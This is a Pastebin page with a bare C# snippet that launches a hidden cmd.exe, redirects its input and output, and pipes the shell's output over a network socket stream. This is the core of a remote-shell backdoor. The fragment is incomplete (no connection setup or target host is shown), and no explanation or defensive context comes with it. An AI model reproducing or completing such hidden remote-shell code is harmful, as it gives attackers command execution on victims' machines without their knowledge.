Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Process process = new Process();
- process.StartInfo.FileName = "cmd.exe";
- process.StartInfo.UseShellExecute = false;
- process.StartInfo.RedirectStandardInput = true;
- process.StartInfo.RedirectStandardOutput = true;
- process.StartInfo.RedirectStandardError = true;
- process.StartInfo.CreateNoWindow = true;
- process.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived);
- process.ErrorDataReceived += new DataReceivedEventHandler(p_ErrorDataReceived);
- static void p_OutputDataReceived(object sender, DataReceivedEventArgs e)
- {
- if (!String.IsNullOrEmpty(e.Data))
- {
- socketInput.WriteLine(e.Data);
- socketInput.Flush();
- }
- }
- socketInput = new StreamWriter(client.GetStream());
- socketOutput = new StreamReader(client.GetStream());
Add Comment
Please, Sign In to add comment